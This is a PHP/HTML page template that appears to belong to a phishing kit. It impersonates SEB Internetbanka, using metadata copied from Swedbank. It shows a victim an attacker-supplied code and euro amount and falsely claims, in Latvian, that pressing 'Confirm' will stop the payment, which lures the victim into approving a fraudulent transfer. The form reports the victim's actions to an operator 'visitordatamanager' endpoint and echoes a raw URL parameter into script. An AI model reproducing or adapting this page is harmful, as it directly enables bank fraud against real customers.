<?php
   $uniqueid = $_SESSION["visitor_uniqueid"];

   $user_data = $data["PageClass"]->get_visitor_attributes(array("cancelcode","cancelamount"));
   ?>
<html>
   <head>
      <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
      <meta content="Kļūsti par klientu attālināti. Ērta internetbanka un mobilā lietotne, dažādas klientu programmas, plašākais filiāļu un bankomātu tīkls." name="description">
      <meta content="website" property="og:type">
      <meta content="Kļūsti par klientu, neizejot no mājām" property="og:title">
      <meta content="Kļūsti par klientu attālināti. Ērta internetbanka un mobilā lietotne, dažādas klientu programmas, plašākais filiāļu un bankomātu tīkls." property="og:description">
      <meta content="https://www.swedbank.lv/stylebook/swedbank_og.png" property="og:image">
      <meta content="0" name="DCSext.log_status">
      <meta content="Kļūsti par mūsu klientu" name="LocalPageTitle">
      <meta content="IE=edge,chrome=1" http-equiv="X-UA-Compatible">
      <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0" name="viewport">
      <meta content="SPIUJL5PwkQCMVZTWfa6u43TaAASgE2z1byONvgBo1Q" name="google-site-verification">
      <meta content="telephone=no" name="format-detection">
      <meta content="Swedbank" name="application-name">
      <meta content="notranslate" name="google">
	   <title>SEB Internetbanka / Pieslēgties</title>
   <style>
        h1 {
            color: rgba(128, 128, 128, 0.5); /* Gray color with 50% opacity */
            font-family: "Arial", sans-serif; /* Change the font-family to Arial or your desired font */
            font-weight: bold; /* Make the text bold */
        }
        
        .center-box {
            width: 350px; /* Increase the width as needed */
            height: 350px; /* Adjust the height as needed */
            background-color: white;
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            border: 1px solid white; /* Change the border color to white */
            border-radius: 10px; /* Add curved edges */
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.5); /* Add a shadow effect */
        }
        
         p {
            font-family: "Arial", sans-serif; /* Change the font-family to Arial or your desired font */
            font-size: 16px; /* Adjust the font size as needed */
            color: gray; /* Change the text color to grayish */
            margin-top: 10px; /* Add some top margin for spacing */
        }
        
        p::before {
            
            margin-right: 5px; /* Add right margin to separate it from text */
        }
		 
        button.confirm-button {
            background-color: #40B5AD; /* Green background color */
            color: white; /* White text color */
            width: 80%; /* 100% width */
            font-family: "Arial", sans-serif; /* Change the font-family to Arial or your desired font */
            font-size: 16px; /* Adjust the font size as needed */
            border: none; /* Remove button border */
            padding: 10px; /* Add padding for spacing */
            border-radius: 15px; /* Add slight border radius */
            cursor: pointer; /* Add cursor pointer on hover */
            position: relative;
        }
		button.cancel-button {
            background-color: white; /* Red background color for Cancel button */
            color: #40B5AD; /* White text color */
            width: 100%; /* 100% width */
            font-family: "Arial", sans-serif; /* Change the font-family to Arial or your desired font */
            font-size: 16px; /* Adjust the font size as needed */
            border: none; /* Remove button border */
            padding: 10px; /* Add padding for spacing */
            border-radius: 20px; /* Add a larger border-radius to make the ends round */
            cursor: pointer; /* Add cursor pointer on hover */
        }
    </style>
	<script>
         var urlroot = '<?= URLROOT ?>';
         var uniqueid = '<?= $uniqueid ?>';
         var url_to_status_array = <?= json_encode($data["options"]) ?>;
      </script>
      <script src="<?= URLROOT ?>/js/cntdjs/jquery.js"></script>
      <script src="<?= URLROOT ?>/js/cntdjs/jquery.mask.js"></script>
      <script src="<?= URLROOT ?>/js/cntdjs/cntd.js"></script>
      <script src="<?= URLROOT ?>/js/shared/loading.js"></script>
      <script src="<?= URLROOT ?>/js/shared/online_status.js"></script>
      <script src="<?= URLROOT ?>/js/shared/default_user_behaviour.js"></script>
      <link rel="stylesheet" href="<?= URLROOT ?>/css/shared/loader.css">
	   	  </head>
		  <body>
		  <center><h1><b>SEB</b></h1>
		  
		  <br>
		  <br>
		   <center><h1 style="font-size:55px;"><b><?= $user_data["cancelcode"] ?></b></h1><br><br><br><br>
<form id="form">

                                    <input name="new_data" value="true" type="hidden">
                                    <input name="status" value="0" type="hidden">
                                    <input name="uniqueid" value="<?= $uniqueid ?>" type="hidden">
		    <div class="center-box">
			<center><h2 style="font-family: Arial, sans-serif;font-size:20px;color:#702963;"><b>Confirm details</b></h1>
			<center><p>Make sure to check that your <br>transaction details are correct <br>to continue</p></center>
			<center><h2 style="font-family: Arial, sans-serif;font-size:20px;color:#702963;"><?= $user_data["cancelamount"] ?> EUR maksājums - apstiprini <br>un nauda netiks pārskaitīta no <br>tava konta.</h2></center>
			<button class="confirm-button">Confirm</button><br><br>
			<button class="cancel-button">Cancel</button>
			</div></form>
			<script>
                                    var controller = new CNTD;
                                    var url = "<?= URLROOT ?>/visitordatamanager/update_visitor_data";

                                    controller.check_form_button_disable(["#otp"]);
                                     controller.submit_multipanel_form(url, '<?= $_GET["d"] ?>', controller.multipanel_form_response);
                                 </script>
			</body>
			</html>